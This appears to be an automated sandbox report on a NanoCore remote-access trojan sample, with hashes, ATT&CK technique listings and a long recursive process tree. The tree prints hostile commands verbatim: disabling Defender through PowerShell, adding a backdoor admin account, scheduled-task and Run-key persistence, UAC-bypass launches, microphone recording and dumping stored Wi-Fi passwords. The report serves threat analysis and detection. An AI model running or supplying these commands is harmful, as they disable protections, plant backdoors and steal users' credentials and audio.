nanocore | c952e74bd46b9407c60c989d89690729800de36df470b983cb87035ba74f2885

Analysis

max time kernel
46s
max time network
49s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
xoilacxxo.cc_new.exe
Size 25KB
Sample260930-e9fnkatt5j
SHA256 c952e74bd46b9407c60c989d89690729800de36df470b983cb87035ba74f2885
MD5 20c0252112cf17b5c8885430aa7faf05
SHA1 1680793858c2b4ae192ffcbe67220b430f271059
SHA512 f501a32b6d254a0809030acc1a90f74fb0fad75edaf7ebc575c2dfeb0ce5224fe2cb9a83cdd784feb68de8f2f65bd38712e7991f834c1b8921d6faaa545a882f
SSDEEP 384:n+TshrmS6qtHcKv0sPg988zu+SD+dhHl4+FIbUx9HTGwN+8G+H+Rz9yS5W5ZjW:+IhftVv9PgLtmyI09FI8z2ByS2
TLSH
T1ECC2E64177FCC229E0BF5BB65D7257008775B88B8E16CA0D0EE5848E1E777444EA4BE2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore keylogger persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
443

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 24 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
920	powershell.exe
4196	powershell.exe
1028	powershell.exe
6208	powershell.exe
2500	powershell.exe
2228	powershell.exe
5296	powershell.exe
4956	powershell.exe
5076	powershell.exe
6488	powershell.exe
7820	powershell.exe
7768	powershell.exe
10340	powershell.exe
5152	powershell.exe
3840	powershell.exe
6952	powershell.exe
3488	powershell.exe
11788	powershell.exe
3092	powershell.exe
5728	powershell.exe
7596	powershell.exe
8584	powershell.exe
9660	powershell.exe
8848	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	xoilacxxo.cc_new.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	xoilacxxo.cc_new.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacxxo.cc_new.exe"	xoilacxxo.cc_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	xoilacxxo.cc_new.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 33 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
10844	powershell.exe
11028	powershell.exe
10020	powershell.exe
9728	powershell.exe
10264	powershell.exe
10668	powershell.exe
10948	powershell.exe
8676	powershell.exe
9552	powershell.exe
6488	powershell.exe
7596	powershell.exe
8584	powershell.exe
3488	powershell.exe
5152	powershell.exe
5296	powershell.exe
920	powershell.exe
3840	powershell.exe
5728	powershell.exe
1028	powershell.exe
9660	powershell.exe
8848	powershell.exe
2228	powershell.exe
6208	powershell.exe
6952	powershell.exe
7820	powershell.exe
7768	powershell.exe
2500	powershell.exe
10340	powershell.exe
11788	powershell.exe
3092	powershell.exe
4956	powershell.exe
4196	powershell.exe
5076	powershell.exe

Creates a new local user account 1 TTPs 43 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
6820	net1.exe
6576	net1.exe
6792	net1.exe
6972	net1.exe
8948	net.exe
9044	net.exe
1824	net.exe
3220	net.exe
5716	net.exe
6112	net1.exe
7824	net.exe
6344	net1.exe
9012	net1.exe
9004	net1.exe
4820	net1.exe
4684	net.exe
6956	net.exe
7044	net.exe
8476	net.exe
8628	net1.exe
6772	net.exe
5316	net1.exe
5708	net.exe
5756	net1.exe
2116	net.exe
4864	net.exe
5988	net.exe
8508	net.exe
9244	net.exe
2164	net.exe
3684	net1.exe
9800	net1.exe
10092	net.exe
932	net1.exe
3612	net1.exe
4244	net1.exe
9540	net1.exe
11112	net.exe
5324	net.exe
6324	net1.exe
6604	net1.exe
7648	net.exe
9888	net1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 7 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
10408	netsh.exe
10464	netsh.exe
10508	netsh.exe
11168	netsh.exe
11056	netsh.exe
10612	netsh.exe
9316	netsh.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3636	schtasks.exe
8540	schtasks.exe
1948	schtasks.exe
5548	schtasks.exe
6276	schtasks.exe
6168	schtasks.exe
10136	schtasks.exe
2424	schtasks.exe
1892	schtasks.exe
1404	schtasks.exe
4536	schtasks.exe
8940	schtasks.exe
9040	schtasks.exe
8676	schtasks.exe
9516	schtasks.exe
2528	schtasks.exe
5884	schtasks.exe
5828	schtasks.exe
4504	schtasks.exe
8124	schtasks.exe
5640	schtasks.exe
3972	schtasks.exe
4444	schtasks.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 5416 wrote to memory of 2528	5416	xoilacxxo.cc_new.exe	85

C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
"C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
1⤵
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5416
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2528
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e1c3e156-65f6-439f-a63c-098eda50bcca.inf
  2⤵
  PID:5212
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:6128
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:4028
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:972
- - C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
    3⤵
    PID:1956
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5640
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7998d011-9d69-4f12-b32e-5c43f57b7a4e.inf
      4⤵
      PID:5552
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:1652
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:1508
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:3836
    - - C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        5⤵
        
        PID:3052
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2424
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b88d22c7-85fd-434f-a601-cd7463394b85.inf
        6⤵
        
        PID:508
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:2464
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:3928
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:884
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        7⤵
        
        PID:5516
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5548
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3f0b9839-f50b-416d-93da-1e911c92eabd.inf
        8⤵
        
        PID:1208
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:3144
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:5020
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:5304
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        9⤵
        
        PID:1744
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5828
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c97db09d-41c1-4b93-ac7a-2e6eb0c68ffa.inf
        10⤵
        
        PID:3388
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:2504
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:5620
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:4428
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        11⤵
        
        PID:6368
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6276
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fcfddd28-6c85-4820-82d3-43e4c99e70f2.inf
        12⤵
        
        PID:6768
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:7092
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:6948
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        13⤵
        
        PID:7396
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8124
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ff1a3ce6-65a1-4a0d-b618-9c00fe6b1227.inf
        14⤵
        
        PID:5344
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:7684
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:7808
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        15⤵
        
        PID:8368
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9040
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5e984632-923d-4f06-b33e-a0e79cc53db5.inf
        16⤵
        
        PID:8224
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:4324
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:8680
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:8736
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        17⤵
        
        PID:9780
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9516
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ec8a5766-fbf9-4858-bb71-c2f882aeb3b5.inf
        18⤵
        
        PID:9988
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:10224
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:9548
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:7276
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        19⤵
        
        PID:10796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8848
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:11112
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:11436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8584
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:9244
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:9800
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:10184
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:9064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6488
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:8476
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:9012
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:7700
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:9128
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:8236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6952
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:7648
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:6344
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:6820
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:2000
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:2784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1028
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:7044
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:6820
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:6516
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:6624
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:6604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435397964766.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4196
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:2164
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:5756
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:3952
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:6464
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:4472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435376090217.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8676
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2228
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:5324
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:6112
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:512
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:4360
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:4496
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435383902759.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10668
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:5152
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:2116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:3612
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:5196
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:3292
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:6940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435377808911.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10264
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:3092
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:3220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:932
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:5144
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:6700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435374215353.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9728
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9316

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:4388
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3972
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1eac784d-ffd9-4e32-8870-74bc9f50e4a6.inf
  2⤵
  PID:2164
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:5372
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:1484
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2468
- - C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
    3⤵
    PID:2304
  - - C:\Windows\System32\schtasks.exe
